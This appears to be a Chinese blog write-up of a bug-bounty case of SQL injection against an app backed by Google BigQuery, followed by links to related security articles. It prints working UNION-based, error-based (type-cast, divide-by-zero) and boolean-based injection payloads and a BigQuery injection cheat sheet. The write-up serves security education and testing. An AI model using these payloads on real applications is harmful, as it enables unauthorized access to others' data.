一个基于 BigQuery 的 SQL 注入挖掘案例

简介: 一个基于 BigQuery 的 SQL 注入挖掘案例

前言

在通常的SQL注入中,我们面对的数据库为MySQL、MongoDB等等。针对不同的数据库,渗透的手法也有所差别。本文分享一个Synack.com上的特殊类SQL注入案例——【DBMS为BigQuery】


正文

Google有一个名为BigQuery的服务,我们可以通过它的云系统将其用作应用程序的数据库管理系统。尽管在大多数SQL结构方面它类似于其他数据库,但它的语法会有一些不同。


在正式开始案例前,先了解一下这个数据库。


在这个数据库中,存在两种查询机制,区别与联系如下:

1、标准模式:标准模式为目前的默认模式,大多数程序使用该模式


2、传统模式:传统模式为以前使用的旧模式,少数程序使用该模式


3、在查询开头加上 #legacySQL 和 #standardSQL 作为前缀,即可切换模式。


4、查询语法不一致


在传统SQL中,查询语法如下:


SELECT column-name FROM [project-name:dataset-name.table-name]


在标准SQL中则不同,查询语法如下:


SELECT column-name FROM `project-name:dataset-name.table-name`


5、由于BigQuery系统采用云技术,所以存在一个结构如下:


项目名称 -> 数据集(数据库)-> 表 -> 列 -> 数据


案例

添加单引号,返回语法错误,故存在报错注入:



也许你的想法和我一致,即启动SQLmap。


尽管SQLmap可以进行报错注入及布尔注入,但它不能很好地识别该DBMS。


那么该系统是什么?

仔细观察上图可知,From `` AS 这个字符串即可证明该DBMS为BigQuery。


现在要怎么注入?

BigQuery语法中不存在基于时间的函数如SLEEP、WAITFOR DELAY等,同时现有的报错注入Payload在此不通用。


由于该数据库支持union命令,那么就以其为切入点,通过不断利用报错回显后,设计出该Payload:


true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#


注入成功,回显如下:



那么下一步就是扩大攻击深度了:获取其它用户的项目名称,进而得到敏感数据。


可棘手的问题摆在眼前:


1、经测试,反引号字符(`)在应用程序后端被过滤或经过处理。


2、用户ID并非顺序排列,而是10位以上的数字,因此很难通过穷举攻击来获取用户ID。


3、INFORMATION_SCHEMA.SCHEMATA表无权访问


山穷水尽疑无路了?


通过不断尝试,我们最终发现了一个不需要`并且可以访问 INFORMATION_SCHEMA 表的数据:系统变量

设计出的Payload如下:


true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#


虽然得到的数据并不敏感,但足以证明它是一个有效的数据泄露POC。


当考虑获取敏感数据时,仅靠Union注入的列是无法起作用的,因为我们想要得到的是字符串,而我们注入的列只是一个整数值。


然而,在BigQuery中,类型转换问题可以引发语法错误:


dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#


通过使用CAST(@@project_id AS INT64),我们将@@project_id从默认的字符串类型转换为INT64整数类型,产生如下报错:



可以看到,回显中包含项目ID,至此,我们就能够获取数据库中的敏感数据。


涉及的语法、语句总结

1、注释:


select 1#from here it is not working


2、注释:


select 1/*between those it is not working*/


3、获取当前用户:


select session_user()


4、获取项目ID:


select @@project_id


5、获取所有数据集名称:

select schema_name from INFORMATION_SCHEMA.SCHEMATA


6、从特定项目ID和数据集获取数据:


select * from `project_id.dataset_name.table_name`


7、限制函数:


select schema_name from INFORMATION_SCHEMA.SCHEMATA limit 1


8、基于错误的类型转换:


select CAST(@@project_id AS INT64)


9、基于错误的除零操作:


' OR if(1/(length((select('a')))-1)=1,true,false) OR '


10、基于Union的注入:


UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#


11、基于布尔值的注入:


' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#


12、使用公共数据集的示例:


SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000


13、所有函数列表


1.https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators


14、脚本语句:


1.https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting


目录
相关文章
|
24天前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
46 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
|
25天前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【7月更文挑战第25天】在Python Web开发中确保应用安全至关重要。以下是针对SQL注入、XSS与CSRF攻击的防护策略及示例代码
43 6
|
25天前
|
SQL 安全 数据库
|
22天前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
【7月更文挑战第27天】在 Web 开发中,Python 面临着如 SQL 注入、XSS 和 CSRF 等安全威胁。
44 0
|
24天前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
【7月更文挑战第26天】在 Web 开发中, SQL 注入与 XSS 攻击常令人担忧, 但掌握正确防御策略可化解风险. 对抗 SQL 注入的核心是避免直接拼接用户输入至 SQL 语句. 使用 Python 的参数化查询 (如 sqlite3 库) 和 ORM 框架 (如 Django, SQLAlchemy) 可有效防范. 防范 XSS 攻击需严格过滤及转义用户输入. 利用 Django 模板引擎自动转义功能, 或手动转义及设置内容安全策略 (CSP) 来增强防护. 掌握这些技巧, 让你在 Python Web 开发中更加安心. 安全是个持续学习的过程, 不断提升才能有效保护应用.
35 1
|
24天前
|
SQL 安全 前端开发
Web安全新纪元:Python如何筑起SQL注入、XSS、CSRF的铜墙铁壁?
【7月更文挑战第26天】在Web开发中,安全性至关重要。Python提供强大工具来抵御SQL注入、XSS和CSRF等威胁。使用ORM如Django和SQLAlchemy可防SQL注入; Django等框架自动转义输出防XSS; CSRF通过自动及手动验证令牌来阻止。开发者须持续学习最新安全实践以保护用户数据。迈向Web安全新纪元,Python助你一臂之力。
26 1
|
22天前
|
SQL 存储 数据挖掘
SQL数据:挖掘、管理与应用的深度探索
在数据驱动的时代, SQL作为数据库管理和查询的基石至关重要。本文探讨了SQL数据的挖掘、管理与应用。数据挖掘包括数据查询、聚合与关联,帮助发现数据模式和趋势以支持决策。数据管理确保数据的完整性、一致性和可用性,涉及存储、检索、更新和维护。而数据的应用则能推动业务发展、优化运营、提升客户体验和促进创新。通过高效利用SQL,企业可以最大化其数据资产的价值并在竞争中脱颖而出。
22 0
|
22天前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
【7月更文挑战第27天】在 Python Web 开发中, 安全至关重要。
36 0
|
22天前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【7月更文挑战第27天】在 Web 开发中,安全漏洞如同暗礁,其中 SQL 注入、XSS 和 CSRF 尤为棘手。本文通过实战案例展示如何使用 Python 抵御这些威胁。
43 0